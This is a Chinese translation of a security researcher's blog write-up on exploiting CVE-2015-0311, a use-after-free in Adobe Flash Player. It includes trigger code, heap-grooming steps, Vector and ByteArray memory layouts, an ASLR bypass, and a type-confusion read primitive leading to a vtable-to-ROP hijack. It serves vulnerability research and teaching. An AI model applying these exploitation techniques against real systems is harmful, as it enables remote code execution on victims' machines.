0x00 前言
作者:Francisco Falcón
题目:Exploiting CVE-2015-0311: A Use-After-Free in Adobe Flash Player
地址:http://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/
一月末,Adobe发布了Flash Player的APSA15-01安全公告,此公告修复了一个可影响FlashPlayer 16.0.0.287及之前版本的重要UAF漏洞(被确认为CVE-2015-0311)。攻击者通过诱使不知情用户访问一个包含有精心构造的恶意SWF Flash文件的网页,可在具有该漏洞的用户主机上执行任意代码。
该漏洞最早是作为一个被积极利用的零day在Angler Exploit Kit中被发现的。尽管利用代码用SecureSWF混淆工具高度混淆过,利用该漏洞的恶意软件样本还是变得公开可用,因此我决定深入底层研究该漏洞,完成漏洞利用并将相关模块写到Core Impact Pro和Core Insight中。
0x01 漏洞概览
当尝试解压缩用ActionScript中的zlib压缩过的ByteArray中的数据时,底层的ActionScript虚拟机(AVM)会在ByteArray::UncompressViaZlibVariant方法中处理该操作。该方法利用ByteArray::Grower类来动态增加存放解压缩数据的目标缓冲区的大小。
当成功增加了目标缓冲区后,Grower类的析构函数就会通知所有的ByteArray(压缩过的)的使用者必须使用增加后的缓冲区。全局属性ApplicationDomain.currentDomain.domainMemory就是ByteArray的一个使用者,该属性可以被设置为一个给定ByteArray的全局引用。引入ApplicationDomain.currentDomain.domainMemory的目的是通过使用avm2.intrinsics.memory包的底层AVM指令(如li8/si8, li16/si16, li32/si32),实现对ByteArray中的实际数据的快速读写操作。
当ByteArray中的数据不是合法的zlib压缩数据时,zlib库中的inflate()函数就会失败,从而引出我们接下来要讨论的一个问题。在执行失败的情况下,ByteArray::UncompressViaZlibVariant() 方法会通过释放掉增长的缓冲区并重置ByteArray的原始数据来执行回滚操作。
然而问题是,该方法并不通知使用者(ApplicationDomain.currentDomain.domainMemory)增长的缓冲区已经被释放掉,因此ApplicationDomain.currentDomain.domainMemory会继续保有一个指向已释放缓冲区的悬垂引用。
0x02 根源分析
让我们到AVM虚拟机的源码中看下,在AS代码中调用ByteArray对象的uncompress()方法时到底会发生什么。
当尝试解压缩ByteArray的数据时,AVM提供的ByteArray::Uncompress()方法(在core/ByteArrayGlue.cpp中定义)会根据数据的压缩算法调用一个相应的解压缩函数。我们接下来重点看下zlib压缩的情况。
#!c++
void ByteArray::Uncompress(CompressionAlgorithm algorithm)
{
switch (algorithm) {
case k_lzma:
UncompressViaLzma();
break;
case k_zlib:
default:
UncompressViaZlibVariant(algorithm);
break;
}
ByteArray::UncompressViaZlibVariant()通过在循环中调用zlib库中的inflate()函数,来分块解压缩ByteArray中的数据,如下面的代码片段所示:
#!c++
void ByteArray::UncompressViaZlibVariant(CompressionAlgorithm algorithm)
{
[...]
while (error == Z_OK)
{
stream.next_out = scratch;
stream.avail_out = kScratchSize;
error = inflate(&stream, Z_NO_FLUSH);
Write(scratch, kScratchSize - stream.avail_out);
}
inflateEnd(&stream);
[...]
调用完zlib库的inflate()函数后,ByteArray的Write()方法就将解压缩后的块数据写入目的缓冲区中:
#!c++
void ByteArray::Write(const void* buffer, uint32_t count)
{
if (count > UINT32_T_MAX - m_position) // Do not rearrange, guards against 64-bit overflow
ThrowMemoryError();
uint32_t writeEnd = m_position + count;
Grower grower(this, writeEnd);
grower.EnsureWritableCapacity();
move_or_copy(m_buffer->array + m_position, buffer, count);
m_position += count;
if (m_buffer->length < m_position)
m_buffer->length = m_position;
}
如上所示,该方法创建了Grower类的一个实例,然后通过调用实例的EnsureWritableCapacity()方法增加目标缓冲区的大小。Grower实例的范围仅限ByteArray::Write()方法中局部调用,因此当Write()方法执行完后,Grower类的析构函数就会默认被立刻调用。
下面是Grower类析构函数的部分代码。它调用了ByteArray类的NotifySubscribers()方法:
#!c++
ByteArray::Grower::~Grower()
{
if (m_oldArray != m_owner->m_buffer->array || m_oldLength != m_owner->m_buffer->length)
{
m_owner->NotifySubscribers();
}
[...]
ByteArray::NotifySubscribers()遍历ByteArray的所有使用者,并调用使用者对象的notifyGlobalMemoryChanged()方法来通知它们新增加的缓冲区地址和大小的改变:
#!c++
voidByteArray::NotifySubscribers()
{
for (uint32_t i = 0, n = m_subscribers.length(); i < n; ++i)
{
AvmAssert(m_buffer->length >= DomainEnv::GLOBAL_MEMORY_MIN_SIZE);
DomainEnv* subscriber = m_subscribers.get(i);
if (subscriber)
{
subscriber->notifyGlobalMemoryChanged(m_buffer->array, m_buffer->length);
}
else
{
// Domain went away? remove link
m_subscribers.removeAt(i);
--i;
}
}
}
最后,DomainEnv::notifyGlobalMemoryChanged()方法会更新全局内存缓冲区的地址和大小。该方法真正改变ApplicationDomain.currentDomain.domainMemory的地址和大小:
#!c++
// memory changed so go through and update all reference to both the base
// and the size of the global memory
voidDomainEnv::notifyGlobalMemoryChanged(uint8_t* newBase, uint32_t newSize)
{
AvmAssert(newBase != NULL); // real base address
AvmAssert(newSize>= GLOBAL_MEMORY_MIN_SIZE); // big enough
m_globalMemoryBase = newBase;
m_globalMemorySize = (newSize> 0x7fffffff) ?0x7fffffff :newSize;
TELEMETRY_UINT32(toplevel()->core()->getTelemetry(), ".mem.bytearray.alchemy",m_globalMemorySize/1024);
}
在所有这些调用链完成后,回到ByteArray::UncompressViaZlibVariant()方法的 ”inflate()和Write()”的循环中。如果循环中某个inflate()调用返回一个非0值,循环就会退出,同时会运行一个检查来判断数据有没有被完全解压缩。如果某处出错,就会执行一个回滚操作:调用TellGcDeleteBufferMemory() / mmfx_delete_array() 来释放掉新的内存,同时重置回原始ByteArray数据,如下所示:
#!c++
[...]
if (error == Z_STREAM_END)
{
// everything is cool
[...]
else
{
// When we error:
// 1) free the new buffer
TellGcDeleteBufferMemory(m_buffer->array, m_buffer->capacity);
mmfx_delete_array(m_buffer->array);
if (cShared) {
m_buffer = origBuffer;
}
// 2) put the original data back.
m_buffer->array = origData;
m_buffer->length = origLen;
m_buffer->capacity = origCap;
m_position = origPos;
SetCopyOnWriteOwner(origCopyOnWriteOwner);
origBuffer = NULL; // release ref before throwing
toplevel()->throwIOError(kCompressedDataError);
}
但是请注意:这里并没有任何操作通知使用者新的缓冲区已经被释放!因此,即使由于解压缩操作失败而导致新缓冲区被释放,ApplicationDomain.currentDomain.domainMemory 还是会保留新缓冲区的一个引用。我们稍后会间接引用该悬垂指针,因此这是一个use-after-free(UAF)漏洞。
0x03 触发UAF
可以通过以下步骤来重现产生悬垂指针的情况:先向ByteArray添加数据,再用zlib压缩,然后在0x200偏移位置用垃圾数据覆盖掉原来的压缩数据,然后将此ByteArray指派给ApplicationDomain.currentDomain.domainMemory以创建ByteArray的使用者,最后调用ByteArray的uncompress()方法。
为什么要从从0x200位置开始覆盖压缩数据呢?这是因为在ByteArray的开始位置保留一些合法的压缩数据可以保证第一次对inflate()的调用成功;而且这样ByteArray::Write()方法也会正常创建Grower类的实例,该实例会为保存解压缩的数据增加目标缓冲区的长度,并通知所有的使用者可以使用新增长的缓冲区了。
循环中,第二次调用“inflate()和Write()”时,inflate()函数会尝试解压缩我们构造的垃圾数据,因此一定会失败。然后ByteArray::UncompressViaZlibVariant()就会执行回滚操作,释放掉新增加的缓冲区,但同时却不会通知ByteArray的所有使用者,所以就产生了悬垂指针。
下面的ActionScript代码片段可以重现该漏洞,使ApplicationDomain.currentDomain.domainMemory引用已释放缓冲区:
#!c++
this.byte_array = new ByteArray();
this.byte_array.endian = Endian.LITTLE_ENDIAN;
this.byte_array.position = 0;
/* Initialize the ByteArray with some data */
while (count < 0x2000 / 4){
this.byte_array.writeUnsignedInt(0xfeedface + count);
count++;
}
/* Compress it with zlib */
this.byte_array.compress();
/* Overwrite the compressed data with junk, starting at offset 0x200 */
this.byte_array.position = 0x200;
while (pos < byte_array.length){
this.byte_array.writeByte(pos);
pos++;
}
/* Create a subscriber for that ByteArray */
ApplicationDomain.currentDomain.domainMemory = this.byte_array;
/* Trigger the bug! ByteArray::UncompressViaZlibVariant will leave ApplicationDomain.currentDomain.domainMemory
pointing to a buffer that is freed when the decompression fails. */
try{
this.byte_array.uncompress();
} catch(error:Error){
}
因此,就从这一点来说,我们已经令ApplicationDomain.currentDomain.domainMemory引用了已释放的内存,而ApplicationDomain.currentDomain.domainMemory的引用也是ByteArray类型的。我们尝试使用它的一些高层方法时,虽然好像是在操作一个合法的ByteArray,但实际上其操作的数据是错误的压缩数据。
我们回过头来再来看一下AVM虚拟机的源代码,并回想一下DomainEnv::notifyGlobalMemoryChanged()方法是如何更新全局内存缓冲区的地址和大小的:
#!c++
m_globalMemoryBase = newBase;
m_globalMemorySize = (newSize > 0x7fffffff) ? 0x7fffffff : newSize;
m_globalMemoryBase(悬垂指针自身)和m_globalMemorySize都是DomainEnv类(core/DomainEnv.h)的成员。这些成员通过Getter方法来访问:
#!c++
REALLY_INLINE uint8_t* globalMemoryBase() const { return m_globalMemoryBase; }
REALLY_INLINE uint32_t globalMemorySize() const { return m_globalMemorySize; }
到AVM的源代码中搜索下这两个Getter方法,我们可以在core/Interpreter.cpp文件中找到:
#!c++
#define MOPS_LOAD_INT(addr, type, call, result) \
MOPS_RANGE_CHECK(addr, type) \
union { const uint8_t* p8; const type* p; }; \
p8 = envDomain->globalMemoryBase() + (addr); \
result = *p;
#define MOPS_STORE_INT(addr, type, call, value) \
MOPS_RANGE_CHECK(addr, type) \
union { uint8_t* p8; type* p; }; \
p8 = envDomain->globalMemoryBase() + (addr); \
*p = (type)(value);
这两个宏也在同一个core/Interpreter.cpp文件中被使用:
#!c++
INSTR(li32) {
i1 = AvmCore::integer(sp[0]); // i1 = addr
MOPS_LOAD_INT(i1, int32_t, li32, i32l); // i32l = result
sp[0] = core->intToAtom(i32l);
NEXT;
}
[...]
INSTR(si32) {
i32l = AvmCore::integer(sp[-1]);// i32l = value
i1 = AvmCore::integer(sp[0]); // i1 = addr
MOPS_STORE_INT(i1, uint32_t, si32, i32l);
sp -= 2;
NEXT;
}
就是这样!为了间接引用悬垂指针,我们需要使用avm2.intrinsics.memory包中的底层AVM指令,如 li8/si8, li16/si16, li32/si32等。这些指令,通过与ApplicationDomain.currentDomain.domainMemory的配合,能够提供对包含有ByteArray实际数据的底层原始缓冲区的快速读写操作,而跳过使用ByteArray类高层方法的开销。
li8/si8, li16/si16, li32/si32等指令隐式操作ApplicationDomain.currentDomain.domainMemory,如下面的ActionScript代码片段所示:
#!c++
/* Read a 32-bit integer from m_globalMemoryBase + 0x20 */
var some_value:uint = li32(0x20);
/* Overwrite the 32-bit integer at m_globalMemoryBase + 0x20 with 0xffffffff */
si32(0xffffffff, 0x20);
0x04 漏洞利用
为了达成对该漏洞的利用,在Web浏览器里调试含有该漏洞的Adobe Flash Player版本时,将需要在“inflate() and Write()”循环开始处设置断点:
第一次断点被命中后,通过跟踪ByteArray::Write()的调用直到DomainEnv::notifyGlobalMemoryChanged()方法,可以看到ApplicationDomain.currentDomain.domainMemory是如何更新的。如下是Flash OCX二进制文件中的notifyGlobalMemoryChanged()方法:
[EDX+0x14]保存了新缓冲区的地址,[EDX+0x18]则保存了新缓冲区的大小。
在我的测试环境中,ApplicationDomain.currentDomain.domainMemory更新为下图所示的值:缓冲区地址为0x0a98c000,缓冲区大小为0x1c32。
第二次调用inflate()将会触发失败,失败代码为0xfffffffb,因此执行流进入回滚程序(命名为cleanup_on_uncompress_error的):
步入该函数中,我们可以看到它是通过调用TellGcDeleteBufferMemory()来释放缓冲区的:
注意到TellGcDeleteBufferMemory()的参数是0x0a98c000 (缓冲区地址) 和0x200f。此处0x200f是缓冲区的容量,是与缓冲区长度不同的(长度是0x1C32,如上面的截屏所示)。从core/ByteArrayGlue.h文件中可以看到:
#!c++
class Buffer : public FixedHeapRCObject
{
public:
virtual void destroy();
virtual ~Buffer();
uint8_t* array;
uint32_t capacity;
uint32_t length;
};
Buffer.capacity是缓冲区可容纳的最大字节数(本例中为0x200f),而Buffer.length是实际使用的字节数(本例中为0x1C32),其不同之处就在于此。
调用完TellGcDeleteBufferMemory()之后,它立即调用了mmfx_delete_array()来完成缓冲区的释放操作。
既然缓冲区已经释放掉了,我们将在此缓冲区留下的内存“空洞”中分配一个有趣的对象。我使用了跟恶意样本中一样的方法来完成的,就是,创建一个新的占位ByteArray,其大小设为0x2000,然后通过调用其clear()方法释放掉该对象,最后再创建一个Vector.<Object>
(510*3)对象。
这意味着,在这一点上,我们已经令ApplicationDomain.currentDomain.domainMemory(应该指向包含ByteArray真实数据的原始缓冲区)指向了一个Vector对象的起始处!因为我们可以通过利用像li32/si32这样的AVM指令在ApplicationDomain.currentDomain.domainMemory指向的内存中执行读写操作,我们就可以根据需要来读和修改Vector对象,包括它的元数据!
下图展示了触发bug后的期待状态与实际状态的不同,以及在缓冲区释放造成的内存空洞中的Vector对象的分配情况:
0x05 篡改Vector对象
Vector对象的内存布局如下:
$ ==> <Vector> 00010C00
$+4 00001FE0
$+8 08238000
$+C 082FA248
$+10 0793C000
$+14 09B8E018 <pointer to
the_vector + 0x18 - useful if you need to obtain the address of the_vector>
$+18 00000010
$+1C 00000000
$+20 .vtable 61199418 OFFSET <Flash32_.Vector_vtable> -> Overwrite it to hijack the execution flow
$+24 .length 000005FA -> Overwrite it with 0xffffffff so you can read/write from/to any memory address
$+28 .elements[] 07A86BA1 the_vector[0]
$+2C 07A86BA1 the_vector[1]
$+30 07A86BA1 the_vector[2]
... xxxxxxxx the_vector[n]
通过执行li32(0x20) 我们可以读取到Vector对象0x20偏移处的dword数据,这里是其虚函数表(vtable);而能读到虚函数表的地址就足以确定Flash模块的基地址,因此也就可以绕过ASLR。
通过执行si32(0xffffffff,0x24),我们可以覆盖掉保存在Vector对象0x24偏移处的dword数据,该数据是对象的长度。设置这样新的长度(0xffffffff)将允许我们在需要时读/写浏览器进程空间中任意内存地址的数据-–|||-–|||其实在Windows 7 SP1下完成漏洞利用并不需要修改Vector的长度。
然后我们以ByteArray的形式构造ROP链,并将其保存为Vector的第一个element(不覆盖任何元数据)。
这个包含了我们构造的ROP链的ByteArray对象被存储为一个tagged pointer,那什么是tagged pointer呢?为增加指针所能存储的信息,Flash用指针的最后三个没有什么意义的bit来表示其自身的类型信息(摘自Haifei Li’s presentation from CanSecWest 2011),这种修改后的指针就是tagged pointer:
Untagged = 000 (0)
Object = 001 (1)
String = 010 (2)
Namespace = 011 (3)
"undefined" = 100 (4)
Boolean = 101 (5)
Integer = 110 (6)
Number = 111 (7)
现在可以通过执行li32(0x28)来泄露出我们构造的ROP链(ByteArray对象)的地址-–|||也就是执行一个原始的读操作,来读取Vector的第一个element,然后将读取到的tagged pointer再通过“address & 0xfffffff8”这样的按位与操作untag掉。
已经得到泄露出的ROP链(ByteArray对象)的指针后,我们接下来再去读取ByteArray对象0x40偏移处存放的DWORD数据,此处的DWORD是指向一个ByteArray::Buffer对象的指针。下面是所引用ByteArray对象的内存布局:
$ ==> <ByteArray> 71078F10 OFFSET <Flash32_.ByteArray_vtable>
$+4 00000002
$+8 069CFDD0
$+C 0697E628
$+10 06831360
$+14 00000040
$+18 71078EB8 Flash32_.71078EB8
$+1C 71078EC0 Flash32_.71078EC0
$+20 71078EB4 Flash32_.71078EB4
$+24 710BD534 Flash32_.710BD534
$+28 06603080
$+2C 06432000
$+30 0688EFB8
$+34 00000000
$+38 00000000
$+3C 7108ACC8 Flash32_.7108ACC8
$+40 0686D5D8 <pointer to ByteArray::Buffer>
$+44 00000000
为读到存储在ByteArray对象0x40偏移处的dword,我决定使用Vupen的Nocolas Joly提出的一种利用技术,该技术通过修改(tagging)一个指针以使其按照Number(IEEE-754 double precision)类型来解析,从而产生一个类型混乱,该类型混乱会为我们提供一个默认基本数据类型,通过它可以读取任意地址的8字节数据。大概过程如下:
首先我们把我们将想要读取数据的地址修改为一个Number对象指针(将地址按位或上7–见上面的类型对应表),这样我们就成功地创建了一个类型混乱;然后我们通过执行si32(fake_number_object,0x2c)指令,将此指向Number对象的伪造指针存放到Vector的element[]数组中。
之后,我们读取伪造的Number对象(下方代码中的this.the_vector1)的值,并将其写入到一个备用ByteArray中;通过这种方法,我们想要读取的地址中的8个字节的数据就被存放到备用ByteArray中了。
#!c++
obj = this.the_vector[1];
z = new Number(obj);
var b:ByteArray = new ByteArray();
b.endian = Endian.LITTLE_ENDIAN;
b.writeDouble(z);
/* If pointer is aligned to 8, then we read the first dword */
if ((pointer & 7) == 0){
result = b[3]*0x1000000 + b[2]*0x10000 + b[1]*0x100 + b[0];
}
/* else we read the second dword */
else{
result = b[7]*0x1000000 + b[6]*0x10000 + b[5]*0x100 + b[4];
}
return result;
我们使用Number基本类型已经能够读取ByteArray对象0x40偏移处的dword数据,我之前提到过,该dword是指向ByteArray::Buffer的指针,然后我们可以再次使用该基本类型来读取到ByteArray::Buffer对象0x8偏移处的dword值,该dword值正是指向我们ROP链原始数据的指针。如下是ByteArray::Buffer对象的内存布局情况:
$==> <Buffer> 63D1945C OFFSET <Flash32_.Buffer_vtable>
$+4 00000003
$+8 .array 06BC5000 <pointer to the raw data of the ByteArray>
$+C .capacity 0000200F
$+10 .length 00001C32
这样我们就获取到了ROP链的地址(该例子中为0x06BC5000);现在我们只需执行si32(address_of_rop_chain, 0x20)指令,将Vector对象的虚函数表覆盖为我们的ROP链,然后再调用Vector对象的toString()方法,此时被覆盖掉的虚函数表就会被间接引用以调用相应函数指针,而我们也就将执行流程劫持到了我们自己的ROP中,并最终完成任意代码执行:
new Number(this.the_vector.toString());
0x06 结论
本文中的UAF漏洞可以被用来读取及修改浏览器进程空间中的任意地址数据,允许攻击者绕过操作系统的保护策略如ASLR和DEP,并最终导致任意代码执行。
然而,你应该注意到本篇博文中描述的利用方法只适用于Windows 7 SP1,不适用于Windows 8.1 Update 3(发布于2014年11月)。为什么呢?在Windows 8 Update 3中,微软引入了一种新的缓解漏洞攻击利用的CFG(Control Flow Guard)机制。CFG在所有非直接调用前都插入了一次检查,以验证调用的目的地址是否是编译时被标记为“安全”的位置。运行时插入的验证失败,程序就检测到了破坏正常执行流的尝试并立即自动退出。
而Windows 8.1 Update 3中集成的Flash版本在编译时已启动了CFG机制,因此在攻击利用的最后步骤中,也就是我们尝试将Vector对象的虚函数表覆盖,并调用toString()方法以修改执行流程时,CFG检查函数就会检测到我们的伪造虚函数表,并立即结束进程,从而阻止了我们的攻击尝试。
这意味着Windows 8.1 Update 3中的Flash漏洞利用引入了新的障碍:CFG保护的绕过。
剧透提醒:我们还是设法绕过了CFG,并在Windows 8.1 Update 3中成功实现了该Flash漏洞的利用。因此请期待下一篇博文,我们将在其中详细解释是如何做到绕过CFG并实现漏洞利用的!